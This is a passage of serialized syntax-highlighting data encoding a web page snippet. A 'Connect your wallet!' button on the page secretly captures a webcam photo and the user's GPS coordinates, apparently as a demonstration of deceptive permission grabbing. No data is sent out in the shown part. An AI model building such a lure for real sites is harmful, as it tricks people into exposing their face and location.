:)",{"type":23,"tag":139,"props":155023,"children":155024},{"style":30263},[155025],{"type":28,"value":30317},{"type":23,"tag":139,"props":155027,"children":155028},{"style":279},[155029],{"type":28,"value":41},{"type":23,"tag":139,"props":155031,"children":155032},{"style":30263},[155033],{"type":28,"value":3995},{"type":23,"tag":139,"props":155035,"children":155036},{"class":141,"line":214},[155037,155041,155046,155050,155054,155059,155063,155068,155072,155076],{"type":23,"tag":139,"props":155038,"children":155039},{"style":30263},[155040],{"type":28,"value":30333},{"type":23,"tag":139,"props":155042,"children":155043},{"style":279},[155044],{"type":28,"value":155045},"button",{"type":23,"tag":139,"props":155047,"children":155048},{"style":294},[155049],{"type":28,"value":30343},{"type":23,"tag":139,"props":155051,"children":155052},{"style":259},[155053],{"type":28,"value":1067},{"type":23,"tag":139,"props":155055,"children":155056},{"style":265},[155057],{"type":28,"value":155058},"\"connect\"",{"type":23,"tag":139,"props":155060,"children":155061},{"style":30263},[155062],{"type":28,"value":8471},{"type":23,"tag":139,"props":155064,"children":155065},{"style":259},[155066],{"type":28,"value":155067},"Connect your wallet!",{"type":23,"tag":139,"props":155069,"children":155070},{"style":30263},[155071],{"type":28,"value":30317},{"type":23,"tag":139,"props":155073,"children":155074},{"style":279},[155075],{"type":28,"value":155045},{"type":23,"tag":139,"props":155077,"children":155078},{"style":30263},[155079],{"type":28,"value":3995},{"type":23,"tag":139,"props":155081,"children":155082},{"class":141,"line":1320},[155083,155087,155091,155095,155099,155104,155108,155112],{"type":23,"tag":139,"props":155084,"children":155085},{"style":30263},[155086],{"type":28,"value":30333},{"type":23,"tag":139,"props":155088,"children":155089},{"style":279},[155090],{"type":28,"value":128},{"type":23,"tag":139,"props":155092,"children":155093},{"style":294},[155094],{"type":28,"value":30343},{"type":23,"tag":139,"props":155096,"children":155097},{"style":259},[155098],{"type":28,"value":1067},{"type":23,"tag":139,"props":155100,"children":155101},{"style":265},[155102],{"type":28,"value":155103},"\"gps\"",{"type":23,"tag":139,"props":155105,"children":155106},{"style":30263},[155107],{"type":28,"value":47963},{"type":23,"tag":139,"props":155109,"children":155110},{"style":279},[155111],{"type":28,"value":128},{"type":23,"tag":139,"props":155113,"children":155114},{"style":30263},[155115],{"type":28,"value":3995},{"type":23,"tag":139,"props":155117,"children":155118},{"class":141,"line":1329},[155119,155123,155127,155131,155135,155140],{"type":23,"tag":139,"props":155120,"children":155121},{"style":30263},[155122],{"type":28,"value":30333},{"type":23,"tag":139,"props":155124,"children":155125},{"style":279},[155126],{"type":28,"value":429},{"type":23,"tag":139,"props":155128,"children":155129},{"style":294},[155130],{"type":28,"value":30343},{"type":23,"tag":139,"props":155132,"children":155133},{"style":259},[155134],{"type":28,"value":1067},{"type":23,"tag":139,"props":155136,"children":155137},{"style":265},[155138],{"type":28,"value":155139},"\"pic\"",{"type":23,"tag":139,"props":155141,"children":155142},{"style":30263},[155143],{"type":28,"value":3995},{"type":23,"tag":139,"props":155145,"children":155146},{"class":141,"line":1580},[155147,155151,155155],{"type":23,"tag":139,"props":155148,"children":155149},{"style":30263},[155150],{"type":28,"value":30333},{"type":23,"tag":139,"props":155152,"children":155153},{"style":279},[155154],{"type":28,"value":30303},{"type":23,"tag":139,"props":155156,"children":155157},{"style":30263},[155158],{"type":28,"value":3995},{"type":23,"tag":139,"props":155160,"children":155161},{"class":141,"line":1597},[155162,155167,155171,155176,155180,155185,155189,155193,155197,155201],{"type":23,"tag":139,"props":155163,"children":155164},{"style":294},[155165],{"type":28,"value":155166},"        window",{"type":23,"tag":139,"props":155168,"children":155169},{"style":982},[155170],{"type":28,"value":73},{"type":23,"tag":139,"props":155172,"children":155173},{"style":245},[155174],{"type":28,"value":155175},"addEventListener",{"type":23,"tag":139,"props":155177,"children":155178},{"style":982},[155179],{"type":28,"value":262},{"type":23,"tag":139,"props":155181,"children":155182},{"style":265},[155183],{"type":28,"value":155184},"'unhandledrejection'",{"type":23,"tag":139,"props":155186,"children":155187},{"style":982},[155188],{"type":28,"value":1052},{"type":23,"tag":139,"props":155190,"children":155191},{"style":279},[155192],{"type":28,"value":29264},{"type":23,"tag":139,"props":155194,"children":155195},{"style":982},[155196],{"type":28,"value":1042},{"type":23,"tag":139,"props":155198,"children":155199},{"style":294},[155200],{"type":28,"value":80032},{"type":23,"tag":139,"props":155202,"children":155203},{"style":982},[155204],{"type":28,"value":12815},{"type":23,"tag":139,"props":155206,"children":155207},{"class":141,"line":1614},[155208,155213,155217,155222,155226,155230,155234,155239,155243,155247],{"type":23,"tag":139,"props":155209,"children":155210},{"style":245},[155211],{"type":28,"value":155212},"            alert",{"type":23,"tag":139,"props":155214,"children":155215},{"style":982},[155216],{"type":28,"value":262},{"type":23,"tag":139,"props":155218,"children":155219},{"style":265},[155220],{"type":28,"value":155221},"`Unhandled Promise Rejection: ",{"type":23,"tag":139,"props":155223,"children":155224},{"style":279},[155225],{"type":28,"value":31997},{"type":23,"tag":139,"props":155227,"children":155228},{"style":294},[155229],{"type":28,"value":80032},{"type":23,"tag":139,"props":155231,"children":155232},{"style":982},[155233],{"type":28,"value":73},{"type":23,"tag":139,"props":155235,"children":155236},{"style":294},[155237],{"type":28,"value":155238},"reason",{"type":23,"tag":139,"props":155240,"children":155241},{"style":279},[155242],{"type":28,"value":32029},{"type":23,"tag":139,"props":155244,"children":155245},{"style":265},[155246],{"type":28,"value":8391},{"type":23,"tag":139,"props":155248,"children":155249},{"style":982},[155250],{"type":28,"value":1820},{"type":23,"tag":139,"props":155252,"children":155253},{"class":141,"line":1627},[155254],{"type":23,"tag":139,"props":155255,"children":155256},{"style":982},[155257],{"type":28,"value":155258},"        });\n",{"type":23,"tag":139,"props":155260,"children":155261},{"class":141,"line":1636},[155262,155266,155270,155274,155278,155282,155286,155290,155294,155298,155302,155306,155310,155315,155319,155323],{"type":23,"tag":139,"props":155263,"children":155264},{"style":294},[155265],{"type":28,"value":155166},{"type":23,"tag":139,"props":155267,"children":155268},{"style":982},[155269],{"type":28,"value":73},{"type":23,"tag":139,"props":155271,"children":155272},{"style":245},[155273],{"type":28,"value":30576},{"type":23,"tag":139,"props":155275,"children":155276},{"style":982},[155277],{"type":28,"value":30799},{"type":23,"tag":139,"props":155279,"children":155280},{"style":279},[155281],{"type":28,"value":29264},{"type":23,"tag":139,"props":155283,"children":155284},{"style":982},[155285],{"type":28,"value":1042},{"type":23,"tag":139,"props":155287,"children":155288},{"style":294},[155289],{"type":28,"value":55845},{"type":23,"tag":139,"props":155291,"children":155292},{"style":982},[155293],{"type":28,"value":1052},{"type":23,"tag":139,"props":155295,"children":155296},{"style":294},[155297],{"type":28,"value":68279},{"type":23,"tag":139,"props":155299,"children":155300},{"style":982},[155301],{"type":28,"value":1052},{"type":23,"tag":139,"props":155303,"children":155304},{"style":294},[155305],{"type":28,"value":141},{"type":23,"tag":139,"props":155307,"children":155308},{"style":982},[155309],{"type":28,"value":1052},{"type":23,"tag":139,"props":155311,"children":155312},{"style":294},[155313],{"type":28,"value":155314},"col",{"type":23,"tag":139,"props":155316,"children":155317},{"style":982},[155318],{"type":28,"value":1052},{"type":23,"tag":139,"props":155320,"children":155321},{"style":294},[155322],{"type":28,"value":12875},{"type":23,"tag":139,"props":155324,"children":155325},{"style":982},[155326],{"type":28,"value":12815},{"type":23,"tag":139,"props":155328,"children":155329},{"class":141,"line":1659},[155330,155334,155338,155343,155347,155351],{"type":23,"tag":139,"props":155331,"children":155332},{"style":245},[155333],{"type":28,"value":155212},{"type":23,"tag":139,"props":155335,"children":155336},{"style":982},[155337],{"type":28,"value":262},{"type":23,"tag":139,"props":155339,"children":155340},{"style":265},[155341],{"type":28,"value":155342},"'onerror: '",{"type":23,"tag":139,"props":155344,"children":155345},{"style":982},[155346],{"type":28,"value":32585},{"type":23,"tag":139,"props":155348,"children":155349},{"style":294},[155350],{"type":28,"value":55845},{"type":23,"tag":139,"props":155352,"children":155353},{"style":982},[155354],{"type":28,"value":1820},{"type":23,"tag":139,"props":155356,"children":155357},{"class":141,"line":1667},[155358,155362,155366],{"type":23,"tag":139,"props":155359,"children":155360},{"style":319},[155361],{"type":28,"value":76980},{"type":23,"tag":139,"props":155363,"children":155364},{"style":279},[155365],{"type":28,"value":7064},{"type":23,"tag":139,"props":155367,"children":155368},{"style":982},[155369],{"type":28,"value":995},{"type":23,"tag":139,"props":155371,"children":155372},{"class":141,"line":1676},[155373],{"type":23,"tag":139,"props":155374,"children":155375},{"style":982},[155376],{"type":28,"value":155377},"        };\n",{"type":23,"tag":139,"props":155379,"children":155380},{"class":141,"line":1745},[155381],{"type":23,"tag":139,"props":155382,"children":155383},{"emptyLinePlaceholder":15},[155384],{"type":28,"value":184},{"type":23,"tag":139,"props":155386,"children":155387},{"class":141,"line":1753},[155388,155393,155397,155401],{"type":23,"tag":139,"props":155389,"children":155390},{"style":279},[155391],{"type":28,"value":155392},"        async",{"type":23,"tag":139,"props":155394,"children":155395},{"style":279},[155396],{"type":28,"value":36104},{"type":23,"tag":139,"props":155398,"children":155399},{"style":245},[155400],{"type":28,"value":88684},{"type":23,"tag":139,"props":155402,"children":155403},{"style":982},[155404],{"type":28,"value":13747},{"type":23,"tag":139,"props":155406,"children":155407},{"class":141,"line":1783},[155408,155412,155417,155421,155425,155430,155434,155439,155443,155448,155452,155457,155461],{"type":23,"tag":139,"props":155409,"children":155410},{"style":279},[155411],{"type":28,"value":148938},{"type":23,"tag":139,"props":155413,"children":155414},{"style":294},[155415],{"type":28,"value":155416}," stream",{"type":23,"tag":139,"props":155418,"children":155419},{"style":982},[155420],{"type":28,"value":30799},{"type":23,"tag":139,"props":155422,"children":155423},{"style":319},[155424],{"type":28,"value":30804},{"type":23,"tag":139,"props":155426,"children":155427},{"style":294},[155428],{"type":28,"value":155429}," navigator",{"type":23,"tag":139,"props":155431,"children":155432},{"style":982},[155433],{"type":28,"value":73},{"type":23,"tag":139,"props":155435,"children":155436},{"style":294},[155437],{"type":28,"value":155438},"mediaDevices",{"type":23,"tag":139,"props":155440,"children":155441},{"style":982},[155442],{"type":28,"value":73},{"type":23,"tag":139,"props":155444,"children":155445},{"style":245},[155446],{"type":28,"value":155447},"getUserMedia",{"type":23,"tag":139,"props":155449,"children":155450},{"style":982},[155451],{"type":28,"value":29385},{"type":23,"tag":139,"props":155453,"children":155454},{"style":294},[155455],{"type":28,"value":155456},"video:",{"type":23,"tag":139,"props":155458,"children":155459},{"style":279},[155460],{"type":28,"value":10480},{"type":23,"tag":139,"props":155462,"children":155463},{"style":982},[155464],{"type":28,"value":36725},{"type":23,"tag":139,"props":155466,"children":155467},{"class":141,"line":1791},[155468,155472,155477,155481,155485,155489,155493,155497,155502],{"type":23,"tag":139,"props":155469,"children":155470},{"style":279},[155471],{"type":28,"value":148938},{"type":23,"tag":139,"props":155473,"children":155474},{"style":294},[155475],{"type":28,"value":155476}," video",{"type":23,"tag":139,"props":155478,"children":155479},{"style":982},[155480],{"type":28,"value":30799},{"type":23,"tag":139,"props":155482,"children":155483},{"style":294},[155484],{"type":28,"value":30595},{"type":23,"tag":139,"props":155486,"children":155487},{"style":982},[155488],{"type":28,"value":73},{"type":23,"tag":139,"props":155490,"children":155491},{"style":245},[155492],{"type":28,"value":34611},{"type":23,"tag":139,"props":155494,"children":155495},{"style":982},[155496],{"type":28,"value":262},{"type":23,"tag":139,"props":155498,"children":155499},{"style":265},[155500],{"type":28,"value":155501},"\"video\"",{"type":23,"tag":139,"props":155503,"children":155504},{"style":982},[155505],{"type":28,"value":1820},{"type":23,"tag":139,"props":155507,"children":155508},{"class":141,"line":1823},[155509,155514,155518,155523,155527,155531],{"type":23,"tag":139,"props":155510,"children":155511},{"style":294},[155512],{"type":28,"value":155513},"            video",{"type":23,"tag":139,"props":155515,"children":155516},{"style":982},[155517],{"type":28,"value":73},{"type":23,"tag":139,"props":155519,"children":155520},{"style":294},[155521],{"type":28,"value":155522},"srcObject",{"type":23,"tag":139,"props":155524,"children":155525},{"style":982},[155526],{"type":28,"value":30799},{"type":23,"tag":139,"props":155528,"children":155529},{"style":294},[155530],{"type":28,"value":34151},{"type":23,"tag":139,"props":155532,"children":155533},{"style":982},[155534],{"type":28,"value":995},{"type":23,"tag":139,"props":155536,"children":155537},{"class":141,"line":1831},[155538,155542,155547,155551,155555,155559,155563,155567,155572],{"type":23,"tag":139,"props":155539,"children":155540},{"style":279},[155541],{"type":28,"value":148938},{"type":23,"tag":139,"props":155543,"children":155544},{"style":294},[155545],{"type":28,"value":155546}," canvas",{"type":23,"tag":139,"props":155548,"children":155549},{"style":982},[155550],{"type":28,"value":30799},{"type":23,"tag":139,"props":155552,"children":155553},{"style":294},[155554],{"type":28,"value":30595},{"type":23,"tag":139,"props":155556,"children":155557},{"style":982},[155558],{"type":28,"value":73},{"type":23,"tag":139,"props":155560,"children":155561},{"style":245},[155562],{"type":28,"value":34611},{"type":23,"tag":139,"props":155564,"children":155565},{"style":982},[155566],{"type":28,"value":262},{"type":23,"tag":139,"props":155568,"children":155569},{"style":265},[155570],{"type":28,"value":155571},"\"canvas\"",{"type":23,"tag":139,"props":155573,"children":155574},{"style":982},[155575],{"type":28,"value":1820},{"type":23,"tag":139,"props":155577,"children":155578},{"class":141,"line":1891},[155579],{"type":23,"tag":139,"props":155580,"children":155581},{"emptyLinePlaceholder":15},[155582],{"type":28,"value":184},{"type":23,"tag":139,"props":155584,"children":155585},{"class":141,"line":7053},[155586,155590,155594,155599,155604,155608],{"type":23,"tag":139,"props":155587,"children":155588},{"style":294},[155589],{"type":28,"value":155513},{"type":23,"tag":139,"props":155591,"children":155592},{"style":982},[155593],{"type":28,"value":73},{"type":23,"tag":139,"props":155595,"children":155596},{"style":245},[155597],{"type":28,"value":155598},"onloadedmetadata",{"type":23,"tag":139,"props":155600,"children":155601},{"style":982},[155602],{"type":28,"value":155603}," = () ",{"type":23,"tag":139,"props":155605,"children":155606},{"style":279},[155607],{"type":28,"value":12833},{"type":23,"tag":139,"props":155609,"children":155610},{"style":982},[155611],{"type":28,"value":1268},{"type":23,"tag":139,"props":155613,"children":155614},{"class":141,"line":7071},[155615,155620,155624,155629,155633,155637,155641,155646],{"type":23,"tag":139,"props":155616,"children":155617},{"style":294},[155618],{"type":28,"value":155619},"                canvas",{"type":23,"tag":139,"props":155621,"children":155622},{"style":982},[155623],{"type":28,"value":73},{"type":23,"tag":139,"props":155625,"children":155626},{"style":294},[155627],{"type":28,"value":155628},"width",{"type":23,"tag":139,"props":155630,"children":155631},{"style":982},[155632],{"type":28,"value":30799},{"type":23,"tag":139,"props":155634,"children":155635},{"style":294},[155636],{"type":28,"value":129762},{"type":23,"tag":139,"props":155638,"children":155639},{"style":982},[155640],{"type":28,"value":73},{"type":23,"tag":139,"props":155642,"children":155643},{"style":294},[155644],{"type":28,"value":155645},"videoWidth",{"type":23,"tag":139,"props":155647,"children":155648},{"style":982},[155649],{"type":28,"value":995},{"type":23,"tag":139,"props":155651,"children":155652},{"class":141,"line":7116},[155653,155657,155661,155666,155670,155674,155678,155683],{"type":23,"tag":139,"props":155654,"children":155655},{"style":294},[155656],{"type":28,"value":155619},{"type":23,"tag":139,"props":155658,"children":155659},{"style":982},[155660],{"type":28,"value":73},{"type":23,"tag":139,"props":155662,"children":155663},{"style":294},[155664],{"type":28,"value":155665},"height",{"type":23,"tag":139,"props":155667,"children":155668},{"style":982},[155669],{"type":28,"value":30799},{"type":23,"tag":139,"props":155671,"children":155672},{"style":294},[155673],{"type":28,"value":129762},{"type":23,"tag":139,"props":155675,"children":155676},{"style":982},[155677],{"type":28,"value":73},{"type":23,"tag":139,"props":155679,"children":155680},{"style":294},[155681],{"type":28,"value":155682},"videoHeight",{"type":23,"tag":139,"props":155684,"children":155685},{"style":982},[155686],{"type":28,"value":995},{"type":23,"tag":139,"props":155688,"children":155689},{"class":141,"line":7222},[155690],{"type":23,"tag":139,"props":155691,"children":155692},{"style":982},[155693],{"type":28,"value":45971},{"type":23,"tag":139,"props":155695,"children":155696},{"class":141,"line":21518},[155697],{"type":23,"tag":139,"props":155698,"children":155699},{"emptyLinePlaceholder":15},[155700],{"type":28,"value":184},{"type":23,"tag":139,"props":155702,"children":155703},{"class":141,"line":21553},[155704,155709,155713,155718,155722,155726,155730],{"type":23,"tag":139,"props":155705,"children":155706},{"style":294},[155707],{"type":28,"value":155708},"            connect",{"type":23,"tag":139,"props":155710,"children":155711},{"style":982},[155712],{"type":28,"value":73},{"type":23,"tag":139,"props":155714,"children":155715},{"style":245},[155716],{"type":28,"value":155717},"onclick",{"type":23,"tag":139,"props":155719,"children":155720},{"style":982},[155721],{"type":28,"value":30799},{"type":23,"tag":139,"props":155723,"children":155724},{"style":294},[155725],{"type":28,"value":49352},{"type":23,"tag":139,"props":155727,"children":155728},{"style":279},[155729],{"type":28,"value":25774},{"type":23,"tag":139,"props":155731,"children":155732},{"style":982},[155733],{"type":28,"value":1268},{"type":23,"tag":139,"props":155735,"children":155736},{"class":141,"line":21561},[155737,155742,155746,155751],{"type":23,"tag":139,"props":155738,"children":155739},{"style":294},[155740],{"type":28,"value":155741},"                video",{"type":23,"tag":139,"props":155743,"children":155744},{"style":982},[155745],{"type":28,"value":73},{"type":23,"tag":139,"props":155747,"children":155748},{"style":245},[155749],{"type":28,"value":155750},"play",{"type":23,"tag":139,"props":155752,"children":155753},{"style":982},[155754],{"type":28,"value":1656},{"type":23,"tag":139,"props":155756,"children":155757},{"class":141,"line":21569},[155758],{"type":23,"tag":139,"props":155759,"children":155760},{"emptyLinePlaceholder":15},[155761],{"type":28,"value":184},{"type":23,"tag":139,"props":155763,"children":155764},{"class":141,"line":21578},[155765,155769,155773,155778,155782,155787,155791,155796,155800,155804,155808,155812,155816,155820],{"type":23,"tag":139,"props":155766,"children":155767},{"style":294},[155768],{"type":28,"value":155619},{"type":23,"tag":139,"props":155770,"children":155771},{"style":982},[155772],{"type":28,"value":73},{"type":23,"tag":139,"props":155774,"children":155775},{"style":245},[155776],{"type":28,"value":155777},"getContext",{"type":23,"tag":139,"props":155779,"children":155780},{"style":982},[155781],{"type":28,"value":262},{"type":23,"tag":139,"props":155783,"children":155784},{"style":265},[155785],{"type":28,"value":155786},"\"2d\"",{"type":23,"tag":139,"props":155788,"children":155789},{"style":982},[155790],{"type":28,"value":18750},{"type":23,"tag":139,"props":155792,"children":155793},{"style":245},[155794],{"type":28,"value":155795},"drawImage",{"type":23,"tag":139,"props":155797,"children":155798},{"style":982},[155799],{"type":28,"value":262},{"type":23,"tag":139,"props":155801,"children":155802},{"style":294},[155803],{"type":28,"value":129762},{"type":23,"tag":139,"props":155805,"children":155806},{"style":982},[155807],{"type":28,"value":1052},{"type":23,"tag":139,"props":155809,"children":155810},{"style":1016},[155811],{"type":28,"value":2021},{"type":23,"tag":139,"props":155813,"children":155814},{"style":982},[155815],{"type":28,"value":1052},{"type":23,"tag":139,"props":155817,"children":155818},{"style":1016},[155819],{"type":28,"value":2021},{"type":23,"tag":139,"props":155821,"children":155822},{"style":982},[155823],{"type":28,"value":1820},{"type":23,"tag":139,"props":155825,"children":155826},{"class":141,"line":21620},[155827,155832,155836,155841,155845,155850,155854,155858,155862,155867,155871,155876],{"type":23,"tag":139,"props":155828,"children":155829},{"style":294},[155830],{"type":28,"value":155831},"                stream",{"type":23,"tag":139,"props":155833,"children":155834},{"style":982},[155835],{"type":28,"value":73},{"type":23,"tag":139,"props":155837,"children":155838},{"style":245},[155839],{"type":28,"value":155840},"getTracks",{"type":23,"tag":139,"props":155842,"children":155843},{"style":982},[155844],{"type":28,"value":28188},{"type":23,"tag":139,"props":155846,"children":155847},{"style":245},[155848],{"type":28,"value":155849},"forEach",{"type":23,"tag":139,"props":155851,"children":155852},{"style":982},[155853],{"type":28,"value":262},{"type":23,"tag":139,"props":155855,"children":155856},{"style":294},[155857],{"type":28,"value":19738},{"type":23,"tag":139,"props":155859,"children":155860},{"style":279},[155861],{"type":28,"value":25774},{"type":23,"tag":139,"props":155863,"children":155864},{"style":294},[155865],{"type":28,"value":155866}," t",{"type":23,"tag":139,"props":155868,"children":155869},{"style":982},[155870],{"type":28,"value":73},{"type":23,"tag":139,"props":155872,"children":155873},{"style":245},[155874],{"type":28,"value":155875},"stop",{"type":23,"tag":139,"props":155877,"children":155878},{"style":982},[155879],{"type":28,"value":13437},{"type":23,"tag":139,"props":155881,"children":155882},{"class":141,"line":21653},[155883,155887,155891,155896,155900,155904,155908,155912],{"type":23,"tag":139,"props":155884,"children":155885},{"style":294},[155886],{"type":28,"value":155619},{"type":23,"tag":139,"props":155888,"children":155889},{"style":982},[155890],{"type":28,"value":73},{"type":23,"tag":139,"props":155892,"children":155893},{"style":245},[155894],{"type":28,"value":155895},"toBlob",{"type":23,"tag":139,"props":155897,"children":155898},{"style":982},[155899],{"type":28,"value":29410},{"type":23,"tag":139,"props":155901,"children":155902},{"style":294},[155903],{"type":28,"value":30836},{"type":23,"tag":139,"props":155905,"children":155906},{"style":982},[155907],{"type":28,"value":1062},{"type":23,"tag":139,"props":155909,"children":155910},{"style":279},[155911],{"type":28,"value":12833},{"type":23,"tag":139,"props":155913,"children":155914},{"style":982},[155915],{"type":28,"value":1268},{"type":23,"tag":139,"props":155917,"children":155918},{"class":141,"line":21661},[155919,155924,155928,155932,155936,155941,155945,155950,155954,155958],{"type":23,"tag":139,"props":155920,"children":155921},{"style":294},[155922],{"type":28,"value":155923},"                    pic",{"type":23,"tag":139,"props":155925,"children":155926},{"style":982},[155927],{"type":28,"value":73},{"type":23,"tag":139,"props":155929,"children":155930},{"style":294},[155931],{"type":28,"value":30557},{"type":23,"tag":139,"props":155933,"children":155934},{"style":982},[155935],{"type":28,"value":30799},{"type":23,"tag":139,"props":155937,"children":155938},{"style":294},[155939],{"type":28,"value":155940},"URL",{"type":23,"tag":139,"props":155942,"children":155943},{"style":982},[155944],{"type":28,"value":73},{"type":23,"tag":139,"props":155946,"children":155947},{"style":245},[155948],{"type":28,"value":155949},"createObjectURL",{"type":23,"tag":139,"props":155951,"children":155952},{"style":982},[155953],{"type":28,"value":262},{"type":23,"tag":139,"props":155955,"children":155956},{"style":294},[155957],{"type":28,"value":30836},{"type":23,"tag":139,"props":155959,"children":155960},{"style":982},[155961],{"type":28,"value":1820},{"type":23,"tag":139,"props":155963,"children":155964},{"class":141,"line":21669},[155965],{"type":23,"tag":139,"props":155966,"children":155967},{"style":982},[155968],{"type":28,"value":155969},"                });\n",{"type":23,"tag":139,"props":155971,"children":155972},{"class":141,"line":21678},[155973],{"type":23,"tag":139,"props":155974,"children":155975},{"emptyLinePlaceholder":15},[155976],{"type":28,"value":184},{"type":23,"tag":139,"props":155978,"children":155979},{"class":141,"line":21754},[155980,155985,155989,155994,155998,156003,156007,156012,156016],{"type":23,"tag":139,"props":155981,"children":155982},{"style":294},[155983],{"type":28,"value":155984},"                navigator",{"type":23,"tag":139,"props":155986,"children":155987},{"style":982},[155988],{"type":28,"value":73},{"type":23,"tag":139,"props":155990,"children":155991},{"style":294},[155992],{"type":28,"value":155993},"geolocation",{"type":23,"tag":139,"props":155995,"children":155996},{"style":982},[155997],{"type":28,"value":73},{"type":23,"tag":139,"props":155999,"children":156000},{"style":245},[156001],{"type":28,"value":156002},"getCurrentPosition",{"type":23,"tag":139,"props":156004,"children":156005},{"style":982},[156006],{"type":28,"value":262},{"type":23,"tag":139,"props":156008,"children":156009},{"style":294},[156010],{"type":28,"value":156011},"pos",{"type":23,"tag":139,"props":156013,"children":156014},{"style":279},[156015],{"type":28,"value":25774},{"type":23,"tag":139,"props":156017,"children":156018},{"style":982},[156019],{"type":28,"value":1268},{"type":23,"tag":139,"props":156021,"children":156022},{"class":141,"line":21787},[156023,156028,156032,156036,156040,156044,156049],{"type":23,"tag":139,"props":156024,"children":156025},{"style":279},[156026],{"type":28,"value":156027},"                    const",{"type":23,"tag":139,"props":156029,"children":156030},{"style":294},[156031],{"type":28,"value":35335},{"type":23,"tag":139,"props":156033,"children":156034},{"style":982},[156035],{"type":28,"value":30799},{"type":23,"tag":139,"props":156037,"children":156038},{"style":294},[156039],{"type":28,"value":156011},{"type":23,"tag":139,"props":156041,"children":156042},{"style":982},[156043],{"type":28,"value":73},{"type":23,"tag":139,"props":156045,"children":156046},{"style":294},[156047],{"type":28,"value":156048},"coords",{"type":23,"tag":139,"props":156050,"children":156051},{"style":982},[156052],{"type":28,"value":995},{"type":23,"tag":139,"props":156054,"children":156055},{"class":141,"line":21795},[156056,156061,156065,156069,156073,156078,156082,156086,156090,156095,156099,156104,156108,156112,156116,156120,156124,156129,156133,156137,156141,156146,156150,156154,156158,156162,156166,156170,156174],{"type":23,"tag":139,"props":156057,"children":156058},{"style":294},[156059],{"type":28,"value":156060},"                    gps",{"type":23,"tag":139,"props":156062,"children":156063},{"style":982},[156064],{"type":28,"value":73},{"type":23,"tag":139,"props":156066,"children":156067},{"style":294},[156068],{"type":28,"value":32853},{"type":23,"tag":139,"props":156070,"children":156071},{"style":982},[156072],{"type":28,"value":30799},{"type":23,"tag":139,"props":156074,"children":156075},{"style":265},[156076],{"type":28,"value":156077},"`Lat: ",{"type":23,"tag":139,"props":156079,"children":156080},{"style":279},[156081],{"type":28,"value":31997},{"type":23,"tag":139,"props":156083,"children":156084},{"style":294},[156085],{"type":28,"value":1123},{"type":23,"tag":139,"props":156087,"children":156088},{"style":982},[156089],{"type":28,"value":73},{"type":23,"tag":139,"props":156091,"children":156092},{"style":294},[156093],{"type":28,"value":156094},"latitude",{"type":23,"tag":139,"props":156096,"children":156097},{"style":982},[156098],{"type":28,"value":73},{"type":23,"tag":139,"props":156100,"children":156101},{"style":245},[156102],{"type":28,"value":156103},"toFixed",{"type":23,"tag":139,"props":156105,"children":156106},{"style":982},[156107],{"type":28,"value":262},{"type":23,"tag":139,"props":156109,"children":156110},{"style":1016},[156111],{"type":28,"value":647},{"type":23,"tag":139,"props":156113,"children":156114},{"style":982},[156115],{"type":28,"value":1104},{"type":23,"tag":139,"props":156117,"children":156118},{"style":279},[156119],{"type":28,"value":32029},{"type":23,"tag":139,"props":156121,"children":156122},{"style":46270},[156123],{"type":28,"value":46273},{"type":23,"tag":139,"props":156125,"children":156126},{"style":265},[156127],{"type":28,"value":156128},"Lon: ",{"type":23,"tag":139,"props":156130,"children":156131},{"style":279},[156132],{"type":28,"value":31997},{"type":23,"tag":139,"props":156134,"children":156135},{"style":294},[156136],{"type":28,"value":1123},{"type":23,"tag":139,"props":156138,"children":156139},{"style":982},[156140],{"type":28,"value":73},{"type":23,"tag":139,"props":156142,"children":156143},{"style":294},[156144],{"type":28,"value":156145},"longitude",{"type":23,"tag":139,"props":156147,"children":156148},{"style":982},[156149],{"type":28,"value":73},{"type":23,"tag":139,"props":156151,"children":156152},{"style":245},[156153],{"type":28,"value":156103},{"type":23,"tag":139,"props":156155,"children":156156},{"style":982},[156157],{"type":28,"value":262},{"type":23,"tag":139,"props":156159,"children":156160},{"style":1016},[156161],{"type":28,"value":647},{"type":23,"tag":139,"props":156163,"children":156164},{"style":982},[156165],{"type":28,"value":1104},{"type":23,"tag":139,"props":156167,"children":156168},{"style":279},[156169],{"type":28,"value":32029},{"type":23,"tag":139,"props":156171,"children":156172},{"style":265},[156173],{"type":28,"value":8391},{"type":23,"tag":139,"props":156175,"children":156176},{"style":982},[156177],{"type":28,"value":995},{"type":23,"tag":139,"props":156179,"children":156180},{"class":141,"line":21803},[156181,156186,156190,156194,156199,156203,156207],{"type":23,"tag":139,"props":156182,"children":156183},{"style":982},[156184],{"type":28,"value":156185},"                }, ",{"type":23,"tag":139,"props":156187,"children":156188},{"style":294},[156189],{"type":28,"value":46317},{"type":23,"tag":139,"props":156191,"children":156192},{"style":279},[156193],{"type":28,"value":25774},{"type":23,"tag":139,"props":156195,"children":156196},{"style":245},[156197],{"type":28,"value":156198}," alert",{"type":23,"tag":139,"props":156200,"children":156201},{"style":982},[156202],{"type":28,"value":262},{"type":23,"tag":139,"props":156204,"children":156205},{"style":294},[156206],{"type":28,"value":46317},{"type":23,"tag":139,"props":156208,"children":156209},{"style":982},[156210],{"type":28,"value":5226},{"type":23,"tag":139,"props":156212,"children":156213},{"class":141,"line":21840},[156214],{"type":23,"tag":139,"props":156215,"children":156216},{"style":982},[156217],{"type":28,"value":45971},{"type":23,"tag":139,"props":156219,"children":156220},{"class":141,"line":21853},[156221],{"type":23,"tag":139,"props":156222,"children":156223},{"emptyLinePlaceholder":15},[156224],{"type":28,"value":184},{"type":23,"tag":139,"props":156226,"children":156227},{"class":141,"line":21866},[156228],{"type":23,"tag":139,"props":156229,"children":156230},{"style":982},[156231],{"type":28,"value":1326},{"type":23,"tag":139,"props":156233,"children":156234},{"class":141,"line":21879},[156235,156240],{"type":23,"tag":139,"props":156236,"children":156237},{"style":245},[156238],{"type":28,"value":156239},"        main",{"type":23,"tag":139,"props":156241,"children":156242},{"style":982},[156243],{"type":28,"value":1656},{"type":23,"tag":139,"props":156245,"children":156246},{"class":141,"line":21933},[156247,156251,156255],{"type":23,"tag":139,"props":156248,"children":156249},{"style":30263},[156250],{"type":28,"value":30716},{"type":23,"tag":139,"props":156252,"children":156253},{"style":279},[156254],{"type":28,"value":30303},{"type":23,"tag":139,"props":156256,"children":156257},{"style":30263},[156258],{"type":28,"value":3995},{"type":23,"tag":139,"props":156260,"children":156261},{"class":141,"line":21942},[156262,156266,156270],{"type":23,"tag":139,"props":156263,"children":156264},{"style":30263},[156265],{"type":28,"value":30317},{"type":23,"tag":139,"props":156267,"children":156268},{"style":279},[156269],{"type":28,"value":30287},{"type":23,"tag":139,"props":156271,"children":156272},{"style":30263},[156273],{"type":28,"value":3995},{"type":23,"tag":139,"props":156275,"children":156276},{"class":141,"line":30168},[156277,156281,156285],{"type":23,"tag"